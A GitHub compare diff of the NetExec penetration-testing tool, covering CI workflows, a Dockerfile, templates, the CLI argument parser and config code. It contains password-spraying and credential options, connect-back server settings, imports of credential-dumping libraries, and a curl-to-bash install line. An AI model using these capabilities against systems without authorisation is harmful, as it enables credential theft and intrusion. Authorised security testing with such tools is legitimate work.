Compare commits

..
Author SHA1 Message Date
Alexander Neff 04c46f5444 Changing fallback to hash login for unicode errors 2023-11-30 15:42:41 +01:00
225 changed files with 7795 additions and 17932 deletions

No files matched your search

+2 -6
View File
@@ -1,5 +1,3 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -9,8 +7,6 @@ assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
@@ -34,8 +30,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
- Version of nxc: [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
**Additional context**
Add any other context about the problem here.
-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
-35
View File
@@ -1,35 +0,0 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+6 -9
View File
@@ -1,27 +1,24 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
on: [push, pull_request]
jobs:
lint:
name: Lint Python code with ruff
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: 3.13
python-version: 3.11
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
@@ -10,28 +10,28 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.13"]
python-version: ["3.11"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v5
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller pillow
pip install pyinstaller
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v3
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
+18 -34
View File
@@ -1,48 +1,32 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
name: NetExec Tests for Py${{ matrix.python-version }}
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
- uses: actions/checkout@v3
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
-2
View File
@@ -1,10 +1,8 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
pyvenv.cfg
.vscode
.idea
# Byte-compiled / optimized / DLL files
+13 -36
View File
@@ -1,45 +1,22 @@
FROM python:3.13-slim-bookworm AS builder
FROM python:3.11-slim
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
COPY . .
RUN pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT ["nxc"]
ENTRYPOINT [ "nxc" ]
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
+2 -13
View File
@@ -1,4 +1,4 @@
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@@ -37,17 +37,6 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
+2 -19
View File
@@ -13,27 +13,18 @@ a = Analysis(
('./nxc/modules', 'nxc/modules')
],
hiddenimports=[
'aardwolf',
'aardwolf.connection',
'aardwolf.commons.queuedata.constants',
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -41,17 +32,14 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -71,17 +59,12 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
runtime_hooks=[],
+50 -104
View File
@@ -1,62 +1,25 @@
import argparse
import argcomplete
import sys
from argparse import RawTextHelpFormatter
from os import listdir
from os.path import dirname
from os.path import join as path_join
import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
from nxc.logger import nxc_logger
import importlib.metadata
def gen_cli_args():
setup_debug_logging()
VERSION = importlib.metadata.version("netexec")
CODENAME = "nxc4u"
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
parser = argparse.ArgumentParser(description=f"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
ॱ \ / ॱ
ॱ ॱ
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -65,47 +28,48 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
""", formatter_class=RawTextHelpFormatter)
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
parser.add_argument("--debug", action="store_true", help="enable debug level information")
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
std_parser = argparse.ArgumentParser(add_help=False)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
fail_group = std_parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -113,36 +77,18 @@ def gen_cli_args():
try:
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
except Exception as e:
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
argcomplete.autocomplete(parser, always_complete_options=False)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if args.version:
print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
print(f"{VERSION} - {CODENAME}")
sys.exit(1)
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
if hasattr(args, "get_output_tries"):
args.get_output_tries = args.get_output_tries * 10
return args, [CODENAME, VERSION, COMMIT, DISTANCE]
def get_module_names():
"""Get module names without initializing them"""
modules = []
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
path_join(NXC_PATH, "modules"),
]
for path in modules_paths:
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
return sorted(modules, key=str.casefold)
return args
+8 -11
View File
@@ -1,6 +1,7 @@
import os
from os.path import join as path_join
import configparser
from nxc.paths import DATA_PATH, CONFIG_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from nxc.first_run import first_run_setup
from nxc.logger import nxc_logger
from ast import literal_eval
@@ -9,25 +10,20 @@ nxc_default_config = configparser.ConfigParser()
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
nxc_config = configparser.ConfigParser()
nxc_config.read(CONFIG_PATH)
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
if "nxc" not in nxc_config.sections():
first_run_setup()
nxc_config.read(CONFIG_PATH)
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
# Check if there are any missing options in the config file
for section in nxc_default_config.sections():
if not nxc_config.has_section(section):
nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
nxc_config.add_section(section)
with open(CONFIG_PATH, "w") as config_file:
nxc_config.write(config_file)
for option in nxc_default_config.options(section):
if not nxc_config.has_option(section, option):
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
nxc_config.set(section, option, nxc_default_config.get(section, option))
with open(CONFIG_PATH, "w") as config_file:
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
nxc_config.write(config_file)
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
@@ -36,6 +32,7 @@ pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
@@ -46,5 +43,5 @@ if len(host_info_colors) != 4:
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
def process_secret(text):
reveal = text[:reveal_chars_of_pwd]
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
hidden = text[:reveal_chars_of_pwd]
return text if not audit_mode else hidden + audit_mode * 8
+81 -197
View File
@@ -1,104 +1,53 @@
from datetime import datetime
import os
import random
import sys
import contextlib
from os.path import isfile
from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from ipaddress import ip_address
from dns import resolver, rdatatype
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.loaders.moduleloader import ModuleLoader
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
import sys
sem = BoundedSemaphore(1)
global_failed_logins = 0
user_failed_logins = {}
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
result = {
"host": "",
"is_ipv6": False,
"is_link_local_ipv6": False
}
def gethost_addrinfo(hostname):
is_ipv6 = False
is_link_local_ipv6 = False
address_info = {"AF_INET6": "", "AF_INET": ""}
try:
if ip_address(target).version == 4:
address_info["AF_INET"] = target
else:
address_info["AF_INET6"] = target
except Exception:
# If the target is not an IP address, we need to resolve it
if not (dns_server or dns_tcp):
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
address_info["AF_INET6"] = canonname
result["is_link_local_ipv6"] = True
else:
dnsresolver = resolver.Resolver()
dnsresolver.timeout = dns_timeout
dnsresolver.lifetime = dns_timeout
if dns_server:
dnsresolver.nameservers = [dns_server]
try:
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET"] = answers_ipv4[0].address
except Exception:
pass
try:
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
address_info["AF_INET6"] = answers_ipv6[0].address
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
result["is_link_local_ipv6"] = True
except Exception:
pass
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
raise Exception(f"The DNS query name does not exist: {target}")
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
af, _, _, canonname, sa = res
address_info[af.name] = sa[0]
# IPv4 preferred
if address_info["AF_INET"] and not force_ipv6:
result["host"] = address_info["AF_INET"]
if address_info["AF_INET"]:
host = address_info["AF_INET"]
else:
result["is_ipv6"] = True
result["host"] = address_info["AF_INET6"]
is_ipv6 = True
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
return result
return host, is_ipv6, is_link_local_ipv6
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
def dcom_FirewallChecker(iInterface, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
@@ -118,7 +67,6 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
@@ -130,79 +78,49 @@ def dcom_FirewallChecker(iInterface, remoteHost, timeout):
class connection:
def __init__(self, args, db, target):
def __init__(self, args, db, host):
self.domain = None
self.args = args
self.db = db
self.logger = nxc_logger
self.hostname = host
self.port = self.args.port
self.conn = None
# Authentication info
self.admin_privs = False
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
